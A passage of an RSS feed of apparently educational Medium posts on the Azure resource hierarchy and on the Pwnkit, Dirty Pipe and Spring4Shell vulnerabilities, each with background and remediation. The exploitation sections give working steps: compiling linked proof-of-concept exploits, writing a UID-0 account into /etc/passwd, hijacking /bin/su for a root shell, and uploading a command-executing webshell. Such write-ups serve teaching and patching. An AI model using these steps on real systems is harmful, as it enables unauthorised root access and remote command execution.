(VMs, storage accounts, databases, etc.)</li><li>Resource groups are used to collect and manage resources with shared life cycle or that need to be managed together</li><li>Depending on subscription architecture, there can be large numbers of resource groups in individual subscriptions</li><li>Resource groups allow segmentation of access to different groups within the same subscription</li><li>Access management details will be covered in the Understanding the Azure RBAC structure section</li></ul><h4>6. Resources</h4><ul><li>Resources are individual instances of Azure services deployed in an Azure subscription</li><li>Resource level is at the bottom of the organization hierarchy</li><li>Segmentation cannot go further down the resources hierarchy except for services with specific access policies (e.g., key vaults)</li></ul><p>An Azure AD account can have specified access to any of the resource organization levels outlined previously. From a penetration-testing perspective, access granted at a higher level gives wider scope for an attacker to discover vulnerabilities in cloud-service configurations and to move laterally within the environment. This concept will be more important when we discuss privilege escalation.</p><p><a href="https://medium.com/@ajithcrajendran/an-overview-of-azure-services-dedc1ff81b0c">Next Section</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=531aa24d01df" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Pwnkit | CVE-2021–4034]]></title>
            <link>https://medium.com/@ajithcrajendran/pwnkit-cve-2021-4034-f9feb312715c?source=rss-5f40ede18a25------2</link>
            <guid isPermaLink="false">https://medium.com/p/f9feb312715c</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Ajith Rajendran]]></dc:creator>
            <pubDate>Thu, 05 Jan 2023 08:21:46 GMT</pubDate>
            <atom:updated>2023-01-05T08:21:46.499Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>CVE-2021–4034 (colloquially dubbed “Pwnkit”) is a terrifying <strong>L</strong>ocal <strong>P</strong>rivilege <strong>E</strong>scalation (LPE) vulnerability, located in the “Polkit” package installed by default on almost every major distribution of the Linux operating system (as well as many other *nix operating systems). In other words, it affects virtually every mainstream Linux system on the planet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zKk30N1i-XXNUd_QpoPJjA.png" /></figure><h3>Background</h3><h4>Overview</h4><p>CVE-2021–4034 (aka “pwnkit”) was discovered by researchers at <a href="https://www.qualys.com/">Qualys</a> and announced in January 2022; the technical security advisory for this vulnerability can be found <a href="https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt">here</a>. The vulnerability has existed in every version of the “Policy Toolkit” (or, Polkit) package since it was first released in 2009 and allows any unprivileged attacker to easily obtain full administrative access over any Linux machine with the Polkit package installed. Unfortunately, Polkit is installed by default on most distributions of Linux, making this vulnerability <em>extremely</em> widespread.</p><p>The ease of exploitation and ubiquitous nature of Polkit make this an absolutely devastating vulnerability; however, fortunately it is not exploitable remotely, making Pwnkit purely a local privilege escalation (LPE) vulnerability.</p><h4><strong>What is Polkit?</strong></h4><p>Before we look at the vulnerability directly, it helps to understand what Polkit actually is.</p><p>Polkit is part of the Linux authorisation system. In effect, when you try to perform an action which requires a higher level of privileges, Polkit can be used to determine whether you have the requisite permissions. It is integrated with systemd and is much more configurable than the traditional sudo system. Indeed, it is sometimes referred to as the “sudo of systemd”, providing a granular system with which to assign permissions to users.</p><p>When interacting with polkit we can use the pkexec utility — it is this program that contains the Pwnkit vulnerability. As an example of using the utility, attempting to run the useradd command through pkexec in a GUI session results in a pop-up asking for credentials:<br>pkexec useradd test1234</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/430/0*gCu7bljoNfT--kpx.png" /></figure><p>In a CLI session, we get a text-based prompt instead:</p><pre>┌──(ghost㉿uchiha)-[~]<br>└─$ pkexec useradd test1234<br>==== AUTHENTICATING FOR org.freedesktop.policykit.exec ===<br>Authentication is needed to run &#39;/usr/sbin/useradd&#39; as the super user<br>Authenticating as: ghost,,, (ghost)<br>Password:</pre><p>To summarise, the policy toolkit can be thought of as a fine-grained alternative to the simpler sudo system that you may already be familiar with.</p><h4><strong>The Vulnerability</strong></h4><p>As mentioned previously, the Pwnkit vulnerability exists in the pkexec utility — the primary front-end to the Polkit system. We won&#39;t go into <em>too</em> much detail here in the interests of readability; however, you are encouraged to read through the <a href="https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt">Qualys Security Advisory</a> for a full technical explanation of the vulnerability.</p><p>The short version is this: versions of pkexec released prior to the patch don’t handle command-line arguments safely, which leads to an “out-of-bounds write” vulnerability, allowing an attacker to manipulate the environment with which pkexec is run. This is all you <em>really</em> need to know, but for a slightly more technical explanation, read on!</p><p>More specifically, pkexec attempts to parse any command-line arguments that we pass it using a for-loop, starting at an index of 1 to offset the name of the program and obtain the first real argument (e.g. if we entered pkexec bash, then as pkexec is the name of the program, it would be argument 0 — the actual command-line arguments start at index 1). The name of the program is irrelevant to argument parsing, so the indexing is simply offset to ignore it.</p><p>What happens, then, if we don’t provide any arguments? The index is set <em>permanently</em> to 1!</p><p>The following pseudocode may help you to visualise this:</p><pre>for(n=1; n &lt; number_of_arguments; n++){<br>  //Do Stuff<br>}</pre><p>If the number of arguments is 0 then n is <em>never </em>less than the number of arguments. As such, n stays equal to one and the loop is bypassed completely.</p><p>This becomes a problem later when pkexec attempts to write to the value of the argument at index n. As there are no command-line arguments, there <em>is</em> no argument at index n — instead the program overwrites the next thing in memory, which just so happens to be the first value in the list of environment variables when the program is called using a C function called execve(). In other words, by passing pkexec a null list of arguments, we can force it to overwrite an environment variable instead!</p><p>For context: certain “dangerous” environment variables are removed by the operating system when you attempt to run a program that has the <a href="https://muirlandoracle.co.uk/2020/03/05/unix-file-permissions/#SUID">SUID bit</a> set (as pkexec does by necessity); this is to prevent attackers from being able to hijack the program as it runs with administrative permissions. Using the out-of-bounds write, we are able to re-introduce our choice of these dangerous environment variables by tricking pkexec into adding it for us. There are a variety of different ways to abuse this, all leading to code execution as the root user.</p><h3>Exploitation</h3><p>Exploiting Pwnkit is, lamentably, incredibly easy.</p><p>There are many exploits available online, and writing your own version is not particularly difficult.</p><p>The version that we will be using is written in C by arthepsy, and was released soon after the Qualys security advisory was made public. The repository can be found <a href="https://github.com/arthepsy/CVE-2021-4034">here</a>. This variation of the exploit makes use of the dangerous GCONV_PATH variable to include a malicious shared object file that calls the /bin/sh shell with root permissions.</p><p>Navigate to the pre-added pwnkit/ subdirectory, then compile the exploit using the following command:</p><pre>gcc cve-2021-4034-poc.c -o exploit</pre><p>We can then run the exploit with ./exploit to obtain instant root access over the target!</p><h3>Remediations</h3><p>Now that we’ve seen the devastating impact of CVE-2021–4034, how can we protect against it?</p><p>Fortunately, developers tend to be fairly fast when it comes to developing patches for critical vulnerabilities. As a prime example: at the time of writing, Canonical have already released patched versions of the Polkit package in the APT package manager for all versions of Ubuntu which are not end-of-life. The patched version can be installed with a simple apt upgrade — e.g. sudo apt update &amp;&amp; sudo apt upgrade.</p><p>In distributions which have not yet released patched versions of the package, the recommended hotfix is to simply remove the SUID bit from the pkexec binary. This can be done with a command such as the following:</p><pre>sudo chmod 0755 `which pkexec`</pre><p>This is far from ideal, however, it works as a temporary solution until more distributions start packaging versions of polkit that are patched against Pwnkit.</p><p>It should be noted that there are many variations of the Pwnkit exploit using different environment variables and exploiting the vulnerability in different ways. Some of these leave traces and logs behind, others do not.</p><p>You can check to ensure that a system is patched by attempting to run a copy of the exploit against it. If the exploit returns the pkexec help menu, then the system is patched:</p><pre>┌──(ghost㉿uchiha)-[~]<br>└─$ ./exploit<br>pkexec --version |<br>       --help |<br>       --disable-internal-agent |<br>       [--user username] PROGRAM [ARGUMENTS...]<br><br>See the pkexec manual page for more details.</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f9feb312715c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Dirty Pipe | CVE-2022–0847]]></title>
            <link>https://medium.com/@ajithcrajendran/cve-2022-0847-dirty-pipe-a5d68f422dcf?source=rss-5f40ede18a25------2</link>
            <guid isPermaLink="false">https://medium.com/p/a5d68f422dcf</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Ajith Rajendran]]></dc:creator>
            <pubDate>Wed, 04 Jan 2023 12:44:50 GMT</pubDate>
            <atom:updated>2023-01-04T12:53:08.228Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>In March 2022, a researcher named Max Kellerman publicly disclosed a Linux Kernel vulnerability (nicknamed “Dirty Pipe” for its similarities to the notorious “<a href="https://dirtycow.ninja/">Dirty Cow</a>” exploit affecting older versions of the kernel) that allowed attackers to arbitrarily overwrite files on the operating system. The vulnerability was responsibly disclosed in early 2022 and was <a href="https://dirtypipe.cm4all.com/">publicly released in a blog post</a> written by Max Kellerman soon after patches were made available.</p><p>Arbitrary file overwrites at the kernel level can be very easily leveraged to escalate privileges on the machine (i.e. to obtain administrator, or “root” privileges). This is a devastating vulnerability, made more so by its reach: any devices running a vulnerable version of the Linux kernel (including Android phones) are affected!</p><h3>Vulnerability Background</h3><h4><strong>Overview</strong></h4><p>Due to their low-level nature, any in-depth discussion of kernel vulnerabilities quickly becomes rather complicated. As such we will keep the information in this task relatively light, in the interests of keeping the information easy to digest. If you would like to read an in-depth explanation of the vulnerability (including a full code analysis), you are highly encouraged to check out Max Kellerman’s <a href="https://dirtypipe.cm4all.com/">original blog post</a>.</p><p>Before continuing with this task, it is important to note that Dirty Pipe has been fixed in Linux kernel versions 5.16.11, 5.15.25 and 5.10.102, so if you use or manage any Linux (or Android) devices, make sure that they are running a kernel greater than one of these versions!</p><h4><strong>Theory</strong></h4><p>In order to understand how Dirty Pipe works, we must first look at how the Linux Kernel manages memory.</p><p>The smallest unit of memory controlled by the CPU is called a <em>page</em> — these are usually about 4Kib in modern systems. Of relevance to this room, pages are used when reading and writing files from the disk, although they have many other uses. The part of the kernel that manages pages is referred to as the <em>page cache</em>.</p><p>When a process attempts to open a file, the kernel loads it into pages which are then made available to the userland process. This userland access can be granted either by being copied into user-space memory, or by keeping the pages in kernel-space but making them accessible via <em>system calls</em> (effectively special functions which are used to interact with the kernel).</p><p>Okay, so what does this have to do with Dirty Pipe? The vulnerability arises because of how the kernel implements “pipes”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/0*NcVI6eTlmca9wWTN.png" /></figure><p>You will likely be familiar with the idea of “anonymous pipes” — these are featured in most shell scripting languages and allow you to pass data between two processes, usually with the<em> pipe character</em> (|). Pipes are characterized as having two ends — one for reading, and one for writing; you can see this for yourself in the way that anonymous pipes take the standard output of a process and <em>write</em> it into a pipe where it can be <em>read</em><strong><em> </em></strong>by the standard input of the next program in the chain.</p><p>Back on topic: the Linux kernel provides a system call called “splice()&quot;, which is effectively a shortcut designed to speed up the process of pushing the contents of a file into a pipe. This optimization is achieved by moving <em>references</em> to the pages storing the file contents, rather than moving the entirety of the data. In other words, splice() allows us to point a pipe at a page which is already loaded into memory, containing a section of a file originally opened by a process requesting read-only access. See where this is going?</p><p>By splicing a page into the pipe then writing our own arbitrary data to the pipe, we can overwrite the contents of the page!</p><p>It’s not quite that simple, however; we are still missing one final piece of the puzzle. <em>Usually</em> when you write to a pipe after splicing a file, a new pipe_buffer is created to avoid overwriting the spliced data. So, how do we force the kernel to allow us to overwrite the relevant page(s)?</p><p>This is the real crux of the vulnerability, and it can all be traced back to two commits in the Linux kernel:</p><ul><li>A bug was introduced in <a href="https://github.com/torvalds/linux/commit/241699cd72a8489c9446ae3910ddd243e9b9061b">Linux Kernel v4.9 (2016)</a> which allowed pipes to be created with arbitrary flags. None of the flags available at the time were in any way dangerous, so this wasn’t an issue, until…</li><li><a href="https://github.com/torvalds/linux/commit/f6dd975583bd8ce088400648fd9819e4691c8958">Linux Kernel v5.8 (2020)</a> added a new flag — PIPE_BUF_FLAG_CAN_MERGE. In simple terms, this flag tells the kernel that the page can be updated without forcing a rewrite of the data.</li></ul><p>To summarise: we have a flag that allows us to tell the kernel that it’s okay to overwrite the data in a page, we have a bug that allows us to specify arbitrary flags for a pipe, and we have a system call that inadvertently allows us to point pipes at page buffers which were opened as read-only. What could possibly go wrong?</p><p>Put simply, the exploit first opens a target file with the read-only flag set — in order to do this, we must choose a file that we have permission to read. The exploit then prepares a pipe in a special way, forcing the addition of the PIPE_BUF_FLAG_CAN_MERGE flag. Next, it uses splice() to make the pipe point at the desired section of the target file. Finally, it writes whatever arbitrary data that the user has specified into the pipe, overwriting the target page by merit of the PIPE_BUF_FLAG_CAN_MERGE flag.</p><h4><strong>The Effects</strong></h4><p>So, what does this all mean?</p><p>In short, it means that, with the right code, we can arbitrarily overwrite any file on the system, provided we can open it for reading. In other words: if our user has read access over the file (regardless of other permissions or mutability) then we can also write to it. Interestingly, this also applies to read-only file systems, or otherwise protected files which the kernel would usually stop us from writing to; by exploiting the kernel vulnerability and circumventing the “usual” write methods, we also bypass these protections. It’s important to note that the changes will not actually be permanent until the kernel chooses to reclaim the memory used by the page (at which point the page gets dumped to the disk). Restarting the device or clearing the page cache manually before the kernel reclaims the memory will revert the file back to its original contents.</p><h4><strong>Remediations</strong></h4><p>Fortunately, the remediation for this vulnerability is very simple: update your kernel.</p><p>Patched versions of the Linux Kernel have been released for supported major kernel versions — specifically, the vulnerability has been patched in Linux kernel versions 5.16.11, 5.15.25 and 5.10.102.</p><p>Ensure that you apply updates to all of your Linux devices (including any Android) as soon as security patches are released.</p><h3>Exploitation — 1</h3><p>Exploit code: <a href="https://github.com/ajith737/Dirty-Pipe-CVE-2022-0847-POCs/blob/main/PoC1.c">https://github.com/ajith737/Dirty-Pipe-CVE-2022-0847-POCs/blob/main/PoC1.c</a></p><p>Bearing in mind that the exploit won’t let us <em>create</em> files (we can only overwrite information in existing files), we first need to find a file our user can <em>read</em>, but that still allows us to elevate our privileges. The obvious easy choice in these conditions is /etc/passwd. Whilst password hashes are usually stored in the restricted-access /etc/shadow in modern Linux systems (as opposed to being stored traditionally in /etc/passwd), most Linux variants do still check to see if account password hashes are given in /etc/passwd. This means that we can write a user with root permissions and a known password hash directly into the passwd file!</p><blockquote><em>Background Knowledge: The Passwd File</em></blockquote><blockquote>Let’s break this down in a little more detail.</blockquote><blockquote>Passwd entries are comprised of 7 <em>fields</em>, separated by colons (:). For example: root:x:0:0:root:/root:/bin/bash.</blockquote><blockquote>In order, these fields are:</blockquote><blockquote>The username (root)</blockquote><blockquote>The user’s password hash. In most cases the hash will not actually be given here and instead will be replaced with an x. This means that the hash can instead be found in /etc/shadow.</blockquote><blockquote>The user’s UID (<strong>U</strong>ser <strong>ID</strong>) — as the root user, this is 0.</blockquote><blockquote>The user’s GID (<strong>G</strong>roup <strong>ID</strong>). For the root user this will also be 0.</blockquote><blockquote>A description of the account. This is simply “root&quot; in the example, however, it can be left blank.</blockquote><blockquote>The user’s home directory (/root)</blockquote><blockquote>The user’s login shell (/bin/bash)</blockquote><blockquote>If we can manually form our own entry (including a full password hash) and insert it into the passwd file then we can create a new user account. Interestingly, Linux doesn’t check to confirm that the UID and GID of an account are unique — only that usernames are unique. In other words, we can create an account with our own unique username that has a UID and GID of 0, effectively giving our new account the same permissions as the root account!</blockquote><p>Let’s generate a password hash and form a valid passwd entry before moving on. Pick a password then use the openssl command to create a SHA512Crypt hash of your chosen password:</p><pre>┌──(ghost㉿uchiha)-[~]<br>└─$ openssl passwd -6 --salt USR &quot;Password123&quot; <br>$6$USR$aNQSBWd3Bdn4Eo8ZaAjBBXW7M3CM7NnW3vX0Ulrei18dDifAiS0pB2iqCxVCK0nCKfRjdCSqgKHagkul6JEHT/</pre><p>Finally, insert your username and hash into this passwd entry template: USERNAME:HASH:0:0::/root:/bin/bash.</p><p>Your entry should look something like this:</p><pre>evil:$6$USR$aNQSBWd3Bdn4Eo8ZaAjBBXW7M3CM7NnW3vX0Ulrei18dDifAiS0pB2iqCxVCK0nCKfRjdCSqgKHagkul6JEHT/:0:0::/root:/bin/bash</pre><p>As we are overwriting existing entries in the password file, we also need to add a new line on at the end of our entry. This ensures that we avoid corrupting our entry with any remnants of the previous contents of the line.</p><p>Our final content should therefore look something like this (quotes included):</p><pre>&#39;evil:$6$USR$aNQSBWd3Bdn4Eo8ZaAjBBXW7M3CM7NnW3vX0Ulrei18dDifAiS0pB2iqCxVCK0nCKfRjdCSqgKHagkul6JEHT/:0:0::/root:/bin/bash<br>&#39;</pre><p>We have our <em>file</em> (/etc/passwd) and our <em>content</em> (the passwd entry) — all we need now is the <em>offset</em>. The offset is where in the file the exploit should begin writing at — in other words, which part of the file gets overwritten.</p><p>The vulnerability won’t allow us to append to the file, so we are going to have to pick an account and overwrite it. Realistically speaking, given the length of our passwd entry (hash inclusive), this will probably actually overwrite <em>several </em>accounts. Looking through the passwd file, the games account stands out as being a good candidate for a little-used account which we can afford to nuke for a few minutes. We can use grep with the -b switch to find the offset of games from the start of the file:</p><pre>┌──(ghost㉿uchiha)-[~]<br>└─$grep -b &quot;games&quot; /etc/passwd<br>189:games:x:5:60:games:/usr/games:/usr/sbin/nologin</pre><p>The offset is revealed to be 189, giving us the final piece of our puzzle.</p><p>We are finally ready to go!</p><p>The program can be compiled using the following commands:</p><pre>┌──(ghost㉿uchiha)-[~]<br>└─$ cd Dirty-Pipe-CVE-2022-0847-POCs<br>                                                                                                                                                                                                                                           <br>┌──(ghost㉿uchiha)-[~/Dirty-Pipe-CVE-2022-0847-POCs]<br>└─$ gcc PoC1.c -o exploit1    <br>                                                                                                                                                                                                                                           <br>┌──(ghost㉿uchiha)-[~/Dirty-Pipe-CVE-2022-0847-POCs]<br>└─$ ls<br>exploit1  PoC1.c</pre><p>This moves to the directory containing the exploit code, then compiles it with gcc.</p><p>Before we perform the exploit, it’s very important that we backup the /etc/passwd file. This is a disruptive exploit which <em>will</em> cause damage to the system (for a while at the very least); with the passwd file backed up, we can easily revert the damage after the exploit has been completed.</p><p>Use cp /etc/passwd /tmp/passwd to copy the passwd file to /tmp, then execute the exploit!</p><p>Your command should look something like this:</p><pre>┌──(ghost㉿uchiha)-[~]<br>└─$./exploit1 /etc/passwd 189 &#39;evil:$6$USR$aNQSBWd3Bdn4Eo8ZaAjBBXW7M3CM7NnW3vX0Ulrei18dDifAiS0pB2iqCxVCK0nCKfRjdCSqgKHagkul6JEHT/:0:0::/root:/bin/bash<br>&#39;</pre><p>Switch user (su) into your newly created root account.</p><h3>Exploitation — 2</h3><p>Exploit code: <a href="https://github.com/ajith737/Dirty-Pipe-CVE-2022-0847-POCs/blob/main/PoC2.c">https://github.com/ajith737/Dirty-Pipe-CVE-2022-0847-POCs/blob/main/PoC2.c</a></p><h4><strong>Overview</strong></h4><p>This exploit takes the arbitrary file write one stage further by abusing a rather special quality of the vulnerability. SUID Programs usually lose their <a href="https://muirlandoracle.co.uk/2020/03/05/unix-file-permissions/#SUID">SUID bit</a> when you attempt to write to them; however, this does not happen with Dirty Pipe — in other words, we can write to any program that has permission to execute with higher privileges, without inadvertently destroying that extra permission (as would usually happen).</p><p>Bl4sty’s exploit capitalises on this. Instead of overwriting a file like /etc/passwd, it overwrites a user-specified SUID binary (such as /bin/su), injecting shellcode into it which then gets executed with the permissions of the privileged user (i.e. root). Specifically, the exploit hijacks the chosen SUID binary and forces it to create a backdoor binary in /tmp which has the SUID bit and calls /bin/sh. It then restores the targeted SUID binary to full working order by re-adding the overwritten section, and uses the newly created backdoor to grant the attacker a shell as the privileged user.</p><h4><strong>Exploitation</strong></h4><p>Before continuing with this task, please ensure that you have exited your session as the root user.</p><pre>┌──(ghost㉿uchiha)-[~]<br>└─$ cd Dirty-Pipe-CVE-2022-0847-POCs<br>                                                                                                                                                                                                                                           <br>┌──(ghost㉿uchiha)-[~/Dirty-Pipe-CVE-2022-0847-POCs]<br>└─$ gcc PoC2.c -o exploit2<br>                                                                                                                                                                                                                                           <br>┌──(ghost㉿uchiha)-[~/Dirty-Pipe-CVE-2022-0847-POCs]<br>└─$ ls<br>exploit2  PoC2.c</pre><p>With the exploit compiled, it should be run with a single argument specifying a target binary, owned by root and with the SUID bit set, for example: ./exploit2 /bin/su.</p><p>You should now once again have a root shell!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a5d68f422dcf" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Spring4Shell | CVE-2022–22965]]></title>
            <link>https://medium.com/@ajithcrajendran/spring4shell-cve-2022-22965-bfce377cd251?source=rss-5f40ede18a25------2</link>
            <guid isPermaLink="false">https://medium.com/p/bfce377cd251</guid>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Ajith Rajendran]]></dc:creator>
            <pubDate>Tue, 03 Jan 2023 18:55:12 GMT</pubDate>
            <atom:updated>2023-01-03T18:55:40.449Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/774/1*N9RLjiAn_OcNxyjJD_5ZJQ.png" /></figure><p>In late March 2022, two remote command execution vulnerabilities in the Java <a href="https://spring.io/">Spring framework</a> were made public. The first of these vulnerabilities affects a component of the framework called “Spring Cloud Functions”. The second, arguably more serious vulnerability, affects a component in “Spring Core” — the heart of the framework — thus significantly increasing the vulnerability’s potential impact and earning it the name “Spring4Shell” (a play on <a href="https://tryhackme.com/room/solar">Log4Shell</a>, the name of a brutal vulnerability disclosed at the end of 2021).</p><h3>Vulnerability Background</h3><h4><strong>Overview</strong></h4><p>Spring4Shell was originally released as an 0-day in a now-deleted thread of Tweets. It was quickly identified as a bypass of the patch for <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1622">CVE-2010–1622</a> — a vulnerability in earlier versions of the Spring Framework which allowed attackers to obtain remote command execution by abusing the way in which Spring handles data sent in HTTP requests. In short, the vulnerability allows attackers to upload a “webshell” (a piece of code which accepts commands from the attacker that the webserver is then tricked into executing) to the vulnerable server, achieving remote command execution.</p><h4><strong>How Does it Work?</strong></h4><p>To understand Spring4Shell, it is important that we understand CVE-2010–1622. Spring MVC (<strong>M</strong>odel-<strong>V</strong>iew-<strong>C</strong>ontroller) is part of the Spring Framework which makes it easy to develop web applications following the MVC design pattern. One of the features of Spring MVC is that it automatically instantiates and populates an object of a specified class when a request is made based on the parameters sent to the endpoint. In simple terms, this could be abused to overwrite important attributes of the parent class, resulting in remote code execution.</p><p>Spring4Shell works along similar lines, bypassing the mitigations that were added to patch CVE-2010–1622. The majority of the exploits for the Spring4Shell vulnerability operate by forcing the application to write a malicious .jsp file (effectively plaintext Java which Tomcat can execute — much like a PHP webserver would execute files with a .php extension) to the webserver. This webshell can then be executed to gain remote command execution over the target.</p><h4><strong>Limitations</strong></h4><p>Fortunately, despite how commonly used the Spring Framework is, the conditions in which the vulnerability can be exploited are actually fairly limited.</p><p>The Spring4Shell vulnerability affects Spring Core before version 5.2, as well as in versions 5.3.0–17 and 5.2.0–19, running on a version of the <strong>J</strong>ava <strong>D</strong>evelopment <strong>K</strong>it (JDK) greater than or equal to 9. The publicly available exploits currently available only work on applications deployed to Apache Tomcat as WARs; however, the Spring Framework maintainers have stated that they believe there may be other ways to exploit the vulnerability.</p><p>Current conditions for vulnerability (as stated in <a href="https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement">Spring’s announcement of the vulnerability</a>) can be summarised as follows:</p><ul><li>JDK 9+</li><li>A vulnerable version of the Spring Framework (&lt;5.2 | 5.2.0–19 | 5.3.0–17)</li><li>Apache Tomcat as a server for the Spring application, packaged as a WAR</li><li>A dependency on the spring-webmvc and/or spring-webflux components of the Spring Framework</li></ul><p>It is worth noting, however, that these may change over time as other ways to exploit the vulnerability are discovered.</p><h3><strong>Remediations</strong></h3><p>Fortunately, patched versions of the Spring Framework have been released. To remediate Spring4Shell, ensure that you are using a version of Spring released after patch 18 of minor release 5.3 (i.e. after 5.3.18), or after patch 20 if using minor release 5.2 (i.e. after 5.2.20). Upgrading the version of the framework is enough to remove the vulnerability from your applications.</p><p>If upgrading is not possible, it is possible to somewhat mitigate this vulnerability by setting a blocklist of vulnerable field patterns. More advice on this can be found <a href="https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement">here</a>.</p><h3>Exploitation</h3><p>Read through <a href="https://github.com/ajith737/Spring4Shell-CVE-2022-22965-POC.git">exploit code</a> nd ensure that you are happy that it does what it claims to do. You should <em>always</em> review unknown exploits before running them.</p><p>Having satisfactorily completed our code review, let’s start by taking a look at the help menu for the exploit:</p><pre>ghost㉿uchiha:~$ ./exploit.py --help                                     <br>usage: exploit.py [-h] [-f FILENAME] [-p PASSWORD] [-d DIRECTORY] url<br><br>Spring4Shell RCE Proof of Concept<br><br>positional arguments:<br>  url                   Target URL<br><br>options:<br>  -h, --help            show this help message and exit<br>  -f FILENAME, --filename FILENAME<br>                        Name of the file to upload (Default tomcatwar.jsp)<br>  -p PASSWORD, --password PASSWORD<br>                        Password to protect the shell with (Default: evil)<br>  -d DIRECTORY, --directory DIRECTORY<br>                        The upload path for the file (Default: ROOT)</pre><p>The script requires one argument: url — this specifies the target for the POST request. The other three optional arguments can be ignored in the current context.</p><p>Let’s start by taking a look at the website in a browser (http://MACHINE_IP/)</p><p>We can easily find our target URL by checking the source code of the website homepage (view-source:http://MACHINE_IP/).</p><p>Specifically we are looking for the “action” of the contact form (the only POST request available to us). This is found on line 20:</p><p>&lt;form id=&quot;contactForm&quot; action=&quot;/&quot; method=&quot;post&quot;&gt;</p><p>The action is “/&quot;, meaning that our target URL will simply be: <a href="http://machine_ip/">http://MACHINE_IP/.</a></p><blockquote><em>the trailing slash is very important here!</em></blockquote><h4><strong>Attack</strong></h4><p>Time to use the exploit!</p><p>Execute the script. You should receive output similar to the following:</p><pre>ghost㉿uchiha$./exploit.py http://url/<br>Shell Uploaded Successfully!<br>Your shell can be found at: http://url/tomcatwar.jsp?pwd=evil&amp;cmd=whoami</pre><p>A webshell should now have been uploaded!</p><p>Navigate to the link provided by the exploit to see this in action. You can change which command gets run by changing the cmd parameter. By default the command is whoami.</p><h3>Conclusion</h3><p>As mentioned previously, this vulnerability has the potential to be very widespread, but only time will tell how serious it truly is. Keep an eye out, and make sure that you patch any systems you are responsible for!</p><p>If you would like to read more about Spring4Shell, you may find the following resources informative:</p><ul><li><a href="https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement">Spring RCE Announcement</a></li><li><a href="https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities/">LunaSec Blog Post</a></li><li><a href="https://www.praetorian.com/blog/spring-core-jdk9-rce/">Praetorian Blog Post</a></li><li><a href="http://blog.o0o.nu/2010/06/cve-2010-1622.html">o0o Writeup for CVE-2010–1622</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bfce377cd251" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>